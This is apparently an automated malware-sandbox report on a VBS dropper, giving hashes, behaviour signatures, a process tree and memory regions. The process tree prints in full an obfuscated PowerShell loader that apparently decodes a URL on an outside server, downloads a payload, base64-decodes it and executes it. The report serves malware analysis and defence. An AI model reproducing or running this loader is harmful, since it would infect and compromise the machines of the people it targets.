Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    91s
  • max time network
    121s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/02/2024, 05:10

General

  • Target

    0dd16a7ff7018085b6018965f2b714918716ac6cdcd29a9edde6d2a177b9abe8.vbs

  • Size

    36KB

  • MD5

    6fec200ae50301d9e7d4016d8c5bed1c

  • SHA1

    056b1e615dab98aeecdc9adaa477d7b7a3d986d6

  • SHA256

    0dd16a7ff7018085b6018965f2b714918716ac6cdcd29a9edde6d2a177b9abe8

  • SHA512

    3985c6e2c3c87a5f79656ebe0557eed8abf9ca1aef8461390e389ad4bc89a2c4c1b329131a3100585eeee10ae6179aaf64e5b0ab8709e69a00fcd785f34e6177

  • SSDEEP

    768:vUJfmkoEm3HXgwCIzBR8qcn7CbwC7cyzul+KaRB0e:cJaE0Q9Izoqce8C7cyzuw/X

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0dd16a7ff7018085b6018965f2b714918716ac6cdcd29a9edde6d2a177b9abe8.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ciphered;function Reaktio ($stik, $Episo, $Takst) {$stik.'Substring'( $Episo, $Takst);}Function Propanes9 ([String]$Pokerishly){For($Rangfors=5; $Rangfors -lt $Pokerishly.Length-$Grnseflade; $Rangfors+=6){$Subte131=Reaktio $Pokerishly $Rangfors $Grnseflade;$Spagn=$Spagn+$Subte131}$Spagn;}$Over = 'tzutil /l';$Monter = (cmd /c $Over);$Monter = [string]$Monter;$RangforsNDICE = $Monter.indexOf('1');$Grnseflade = Reaktio $Monter $RangforsNDICE 1;$Assimilabl220=Propanes9 'LandbhHjesttGaypotBoxbapKvadr:Fjern/Cowbo/Vejsv4Udhal6Armar. Bzer1Pseud8Sotte3Hales.Subli2Embro2Halsu2 Thuj.Predi1Hands9Klapj/saturMunsooa OutvgForelnOvereeSuffl. NaallduksepstudekFravr ';$Spagn01=Propanes9 'InterimegaleCatenxTumme ';$Nippeo = Propanes9 'Capac\Seksus CondySystesPositwStruno TangwAttra6 unde4Flame\ RebuWKursuiSkruenEngrad Slavoyockswbrutts StanPadipooAleipwMicroepluknrflemeSkiganh ToldeIodotlFormalBloms\TrombvUnscr1Topsw.Shaki0Jeble\ Giftp ErotoHenaawLerhoeOsmorrjohansBassehTrilleRemislUnsmilClock.Irrese CootxTungtefldes ';&($Spagn01) (Propanes9 'Chari$ NaboVSigteeShrugsTrindtremonaSpeci2Messk=Heter$KategeRoadwnBrabavtyref:sacbrwArbejienglenTorskdMeseniPapairAlkal ') ;&($Spagn01) (Propanes9 'Ydasu$SkattNIndlei Antep NuntpStapseRebidoExurb=Oilcl$MaddiVReforetranssSelvot RegiaGlorf2Elses+Ridse$DisteNEmissiBoylspPeriopAntibeFiguroDerma ') ;&($Spagn01) (Propanes9 'Insta$BogtrEBeskasSknhepParisaScrumgBehov Lovg=helio Passi(prepr( GlycgAfvaswNonremMetroiBlind oilfw FerniPanesnSnren3 Hait2Seque_OverspCheirrRockroStangc Aaree HoldsAimlesQuadr misop-PaintFEkspe CountPOutqurSljtgo expacDeligeInitisOverss TitaI NykudHeter=Runds$Spine{CuriaPHjemmISpiroDEndte} Mare)Dybde.ChiarCAngiooRelucmWidemm PeniaottetnBackidSportLPolypiTilennDrivgeImpro)Kanar Tupil-HydrosPartipHalvplDrifti DepotDamps Skrdd[ Intrc ReinhbeslaaFilmsrReneg]Decol3Frdse4 fora ');&($Spagn01) (Propanes9 'Berti$DespoRInteretryllg SucciStink Overb= Inex Privc$ LysbESkyttsAccelppediga InocgBelnn[ Slug$AkkliE Svars FordpSpalla AktigUnenv.SammecSalkaoSpirou ForenMusketAmphi-Menta2Centr] Rdbe ');&($Spagn01) (Propanes9 'stoun$VsentFUnpiteSagsks ButttFelthigange=Atlan(PropuTBackseKamersToldstClans-CelluP Prela BesotMonelhUdyde Leah$SammeN DaemidolkhpAerugpKarakeUnikuoAbsol)Islan Overs-DrageAIvithn Lfted Irre Stra(Girli[BispeIAdsprnkienatUdpegP StoltOpporrGaylo]Blind:Rnneb:EgnstsXlskoiCommezBirgieRepub Open-Sensae MineqKommu Stads8Bojar) Skls ') ;if ($Festi) {.$Nippeo $Regi;} else {;$Spagn00=Propanes9 'AflytSRelaptTarmpaHidkar HegntDegen-anskrBTarmeiTammot Frots OverTFlugerPermiaaysesn Sundsblyfrf bagaeBloksrOphth Junk-BordbSStrutoyankeuMolecrSuppocEnentePredi Nepal$ FunkAsenehsAntinsBeggaiModstm JoaniDomspl StrmaTyngdbAnkeslcoiff2Bigam2Media0Bjerg Carli-saurlD YndeeDragosFilret ZaphiFolmanNonfoa expot TrauivarmeoIndflnGulis Knibn$DefinVAfstaeKetchsFalcot ButtaOrigi2Skole ';&($Spagn01) (Propanes9 'Fndri$skampVPersoeNonbesPlanetSpunsaSolce2cambr=Hanga$BevgeeCanton Alsevvikar:KoordaAnodipStrokpExtradmoldaaKimentCardiaWhigg ') ;&($Spagn01) (Propanes9 'OversI ForfmPinscpKntreo Demir arbetResta-BasguMUnforoActindgenanuQuintlEksisepaakl DendrBFarceiVentutBrugss SwanTOutflrLidiaa ForpnUnmassSurrefRedese WillrOffer ') ;$Vesta2=$Vesta2+'\Computeri.San';while (-not $Udletover) {&($Spagn01) (Propanes9 'Rafle$UtricUImpredRumstlNongeeModalt Gramo BindvPatteeHurdlrStart=Indkr(ExterT SatseericssUnsartPrebb-SultaPWaneraSlevltOpteghMaskn Jagir$SportV FebreFastls ObvitNomina Info2 Land)Sigte ') ;&($Spagn01) $Spagn00;&($Spagn01) (Propanes9 'AmmerSMachit SupeaProterGlasstAkryl-cycloSTilsklForhaefibdoeAcrospDegra Gomor5dialo ');}&($Spagn01) (Propanes9 'Alder$LappePFortorLassooSkrumpVelfoaLuketnFatigetaisesKompl Pictu=sunfi TripoGHidhreFjeretCerem-mauthCEndeso VivanTradet MarkeIndern JerntApolo Adstr$TempeV ImpreBearbs MundtAflagaHjfre2Biono ');&($Spagn01) (Propanes9 'Retic$FrakkGGradsaHexacmdeltoaDosshcStere Rott=atten Samm[UninlSToileyNonpos InextMvstieBonehm Slus.FinikCInterokarosn UhelvRevole Unbur OpgatPlast] tilg: Dona:GrundFBuffarHovedoRougemRecipBKaffea Afbas VelyeKryst6Kvali4HaptoSbenzit TilbrChiroipaabenIotacgSkift( forf$UdbetPBarnerTvesyoAndsaptonefaHomilnRedake HoldsDeput)Firef ');&($Spagn01) (Propanes9 'Nonra$BonniS PhotpAktieaPhytogOvermnMedli2Taran Preco=Protr Naest[GableSFructySophisHomestDemageNonflmFirhn. MystTParfaeaadslxStrudtminid.ReallE Recan ConvcCephaoEvoludHavociNonexnAuspig Para] Lall:Guach:ApterABaskeSLedigCafkviIFribaIAfska.SvineGAfkoge posttAmatrSgalopt LintrlaaseiServinTirsdgUneup(Bilko$HulkoGJenfoa NonfmGennea OvercNonro)Archo ');&($Spagn01) (Propanes9 'Maris$LagdeOsulfum KallfSportaLemflvPoseknFodboe Fors= Pisk$LystrS Subap Honoafremsg DyppnNarko2 Frik.TerrasAcrenuHellibAntitsReutit NonprForkoi subpn TohagFinku(Overf3 Bomb2Stibi1Adams8Vngne1Kryds2Svejs, Carg1Cyani9Tacom1Tndrr3Tassi6Skgpe)forgu ');&($Spagn01) $Omfavne;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5048
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "tzutil /l"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1280
        • C:\Windows\system32\tzutil.exe
          tzutil /l
          4⤵
            PID:4556
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$ciphered;function Reaktio ($stik, $Episo, $Takst) {$stik.'Substring'( $Episo, $Takst);}Function Propanes9 ([String]$Pokerishly){For($Rangfors=5; $Rangfors -lt $Pokerishly.Length-$Grnseflade; $Rangfors+=6){$Subte131=Reaktio $Pokerishly $Rangfors $Grnseflade;$Spagn=$Spagn+$Subte131}$Spagn;}$Over = 'tzutil /l';$Monter = (cmd /c $Over);$Monter = [string]$Monter;$RangforsNDICE = $Monter.indexOf('1');$Grnseflade = Reaktio $Monter $RangforsNDICE 1;$Assimilabl220=Propanes9 'LandbhHjesttGaypotBoxbapKvadr:Fjern/Cowbo/Vejsv4Udhal6Armar. Bzer1Pseud8Sotte3Hales.Subli2Embro2Halsu2 Thuj.Predi1Hands9Klapj/saturMunsooa OutvgForelnOvereeSuffl. NaallduksepstudekFravr ';$Spagn01=Propanes9 'InterimegaleCatenxTumme ';$Nippeo = Propanes9 'Capac\Seksus CondySystesPositwStruno TangwAttra6 unde4Flame\ RebuWKursuiSkruenEngrad Slavoyockswbrutts StanPadipooAleipwMicroepluknrflemeSkiganh ToldeIodotlFormalBloms\TrombvUnscr1Topsw.Shaki0Jeble\ Giftp ErotoHenaawLerhoeOsmorrjohansBassehTrilleRemislUnsmilClock.Irrese CootxTungtefldes ';&($Spagn01) (Propanes9 'Chari$ NaboVSigteeShrugsTrindtremonaSpeci2Messk=Heter$KategeRoadwnBrabavtyref:sacbrwArbejienglenTorskdMeseniPapairAlkal ') ;&($Spagn01) (Propanes9 'Ydasu$SkattNIndlei Antep NuntpStapseRebidoExurb=Oilcl$MaddiVReforetranssSelvot RegiaGlorf2Elses+Ridse$DisteNEmissiBoylspPeriopAntibeFiguroDerma ') ;&($Spagn01) (Propanes9 'Insta$BogtrEBeskasSknhepParisaScrumgBehov Lovg=helio Passi(prepr( GlycgAfvaswNonremMetroiBlind oilfw FerniPanesnSnren3 Hait2Seque_OverspCheirrRockroStangc Aaree HoldsAimlesQuadr misop-PaintFEkspe CountPOutqurSljtgo expacDeligeInitisOverss TitaI NykudHeter=Runds$Spine{CuriaPHjemmISpiroDEndte} Mare)Dybde.ChiarCAngiooRelucmWidemm PeniaottetnBackidSportLPolypiTilennDrivgeImpro)Kanar Tupil-HydrosPartipHalvplDrifti DepotDamps Skrdd[ Intrc ReinhbeslaaFilmsrReneg]Decol3Frdse4 fora ');&($Spagn01) (Propanes9 'Berti$DespoRInteretryllg SucciStink Overb= Inex Privc$ LysbESkyttsAccelppediga InocgBelnn[ Slug$AkkliE Svars FordpSpalla AktigUnenv.SammecSalkaoSpirou ForenMusketAmphi-Menta2Centr] Rdbe ');&($Spagn01) (Propanes9 'stoun$VsentFUnpiteSagsks ButttFelthigange=Atlan(PropuTBackseKamersToldstClans-CelluP Prela BesotMonelhUdyde Leah$SammeN DaemidolkhpAerugpKarakeUnikuoAbsol)Islan Overs-DrageAIvithn Lfted Irre Stra(Girli[BispeIAdsprnkienatUdpegP StoltOpporrGaylo]Blind:Rnneb:EgnstsXlskoiCommezBirgieRepub Open-Sensae MineqKommu Stads8Bojar) Skls ') ;if ($Festi) {.$Nippeo $Regi;} else {;$Spagn00=Propanes9 'AflytSRelaptTarmpaHidkar HegntDegen-anskrBTarmeiTammot Frots OverTFlugerPermiaaysesn Sundsblyfrf bagaeBloksrOphth Junk-BordbSStrutoyankeuMolecrSuppocEnentePredi Nepal$ FunkAsenehsAntinsBeggaiModstm JoaniDomspl StrmaTyngdbAnkeslcoiff2Bigam2Media0Bjerg Carli-saurlD YndeeDragosFilret ZaphiFolmanNonfoa expot TrauivarmeoIndflnGulis Knibn$DefinVAfstaeKetchsFalcot ButtaOrigi2Skole ';&($Spagn01) (Propanes9 'Fndri$skampVPersoeNonbesPlanetSpunsaSolce2cambr=Hanga$BevgeeCanton Alsevvikar:KoordaAnodipStrokpExtradmoldaaKimentCardiaWhigg ') ;&($Spagn01) (Propanes9 'OversI ForfmPinscpKntreo Demir arbetResta-BasguMUnforoActindgenanuQuintlEksisepaakl DendrBFarceiVentutBrugss SwanTOutflrLidiaa ForpnUnmassSurrefRedese WillrOffer ') ;$Vesta2=$Vesta2+'\Computeri.San';while (-not $Udletover) {&($Spagn01) (Propanes9 'Rafle$UtricUImpredRumstlNongeeModalt Gramo BindvPatteeHurdlrStart=Indkr(ExterT SatseericssUnsartPrebb-SultaPWaneraSlevltOpteghMaskn Jagir$SportV FebreFastls ObvitNomina Info2 Land)Sigte ') ;&($Spagn01) $Spagn00;&($Spagn01) (Propanes9 'AmmerSMachit SupeaProterGlasstAkryl-cycloSTilsklForhaefibdoeAcrospDegra Gomor5dialo ');}&($Spagn01) (Propanes9 'Alder$LappePFortorLassooSkrumpVelfoaLuketnFatigetaisesKompl Pictu=sunfi TripoGHidhreFjeretCerem-mauthCEndeso VivanTradet MarkeIndern JerntApolo Adstr$TempeV ImpreBearbs MundtAflagaHjfre2Biono ');&($Spagn01) (Propanes9 'Retic$FrakkGGradsaHexacmdeltoaDosshcStere Rott=atten Samm[UninlSToileyNonpos InextMvstieBonehm Slus.FinikCInterokarosn UhelvRevole Unbur OpgatPlast] tilg: Dona:GrundFBuffarHovedoRougemRecipBKaffea Afbas VelyeKryst6Kvali4HaptoSbenzit TilbrChiroipaabenIotacgSkift( forf$UdbetPBarnerTvesyoAndsaptonefaHomilnRedake HoldsDeput)Firef ');&($Spagn01) (Propanes9 'Nonra$BonniS PhotpAktieaPhytogOvermnMedli2Taran Preco=Protr Naest[GableSFructySophisHomestDemageNonflmFirhn. MystTParfaeaadslxStrudtminid.ReallE Recan ConvcCephaoEvoludHavociNonexnAuspig Para] Lall:Guach:ApterABaskeSLedigCafkviIFribaIAfska.SvineGAfkoge posttAmatrSgalopt LintrlaaseiServinTirsdgUneup(Bilko$HulkoGJenfoa NonfmGennea OvercNonro)Archo ');&($Spagn01) (Propanes9 'Maris$LagdeOsulfum KallfSportaLemflvPoseknFodboe Fors= Pisk$LystrS Subap Honoafremsg DyppnNarko2 Frik.TerrasAcrenuHellibAntitsReutit NonprForkoi subpn TohagFinku(Overf3 Bomb2Stibi1Adams8Vngne1Kryds2Svejs, Carg1Cyani9Tacom1Tndrr3Tassi6Skgpe)forgu ');&($Spagn01) $Omfavne;}"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1484
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "tzutil /l"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:224
            • C:\Windows\SysWOW64\tzutil.exe
              tzutil /l
              5⤵
                PID:3996
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 2664
              4⤵
              • Program crash
              PID:3908
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1484 -ip 1484
        1⤵
          PID:1908

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3vsyithh.5fu.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1484-29-0x0000000005920000-0x0000000005C74000-memory.dmp

          Filesize

          3.3MB

        • memory/1484-17-0x0000000004F80000-0x0000000004FA2000-memory.dmp

          Filesize

          136KB

        • memory/1484-39-0x0000000074C10000-0x00000000753C0000-memory.dmp

          Filesize

          7.7MB

        • memory/1484-13-0x0000000002660000-0x0000000002696000-memory.dmp

          Filesize

          216KB

        • memory/1484-14-0x0000000002650000-0x0000000002660000-memory.dmp

          Filesize

          64KB

        • memory/1484-12-0x0000000074C10000-0x00000000753C0000-memory.dmp

          Filesize

          7.7MB

        • memory/1484-16-0x0000000005020000-0x0000000005648000-memory.dmp

          Filesize

          6.2MB

        • memory/1484-30-0x0000000005F50000-0x0000000005F6E000-memory.dmp

          Filesize

          120KB

        • memory/1484-38-0x00000000075F0000-0x0000000007604000-memory.dmp

          Filesize

          80KB

        • memory/1484-18-0x0000000004FB0000-0x0000000005016000-memory.dmp

          Filesize

          408KB

        • memory/1484-37-0x0000000007550000-0x0000000007572000-memory.dmp

          Filesize

          136KB

        • memory/1484-19-0x00000000057E0000-0x0000000005846000-memory.dmp

          Filesize

          408KB

        • memory/1484-15-0x0000000002650000-0x0000000002660000-memory.dmp

          Filesize

          64KB

        • memory/1484-31-0x0000000006250000-0x000000000629C000-memory.dmp

          Filesize

          304KB

        • memory/1484-32-0x0000000007930000-0x0000000007FAA000-memory.dmp

          Filesize

          6.5MB

        • memory/1484-33-0x0000000006510000-0x000000000652A000-memory.dmp

          Filesize

          104KB

        • memory/1484-34-0x0000000007200000-0x0000000007296000-memory.dmp

          Filesize

          600KB

        • memory/1484-35-0x0000000007190000-0x00000000071B2000-memory.dmp

          Filesize

          136KB

        • memory/1484-36-0x0000000007FB0000-0x0000000008554000-memory.dmp

          Filesize

          5.6MB

        • memory/5048-10-0x00007FFCF0B20000-0x00007FFCF15E1000-memory.dmp

          Filesize

          10.8MB

        • memory/5048-0-0x00000208EF8C0000-0x00000208EF8E2000-memory.dmp

          Filesize

          136KB

        • memory/5048-11-0x00000208EEED0000-0x00000208EEEE0000-memory.dmp

          Filesize

          64KB

        • memory/5048-42-0x00007FFCF0B20000-0x00007FFCF15E1000-memory.dmp

          Filesize

          10.8MB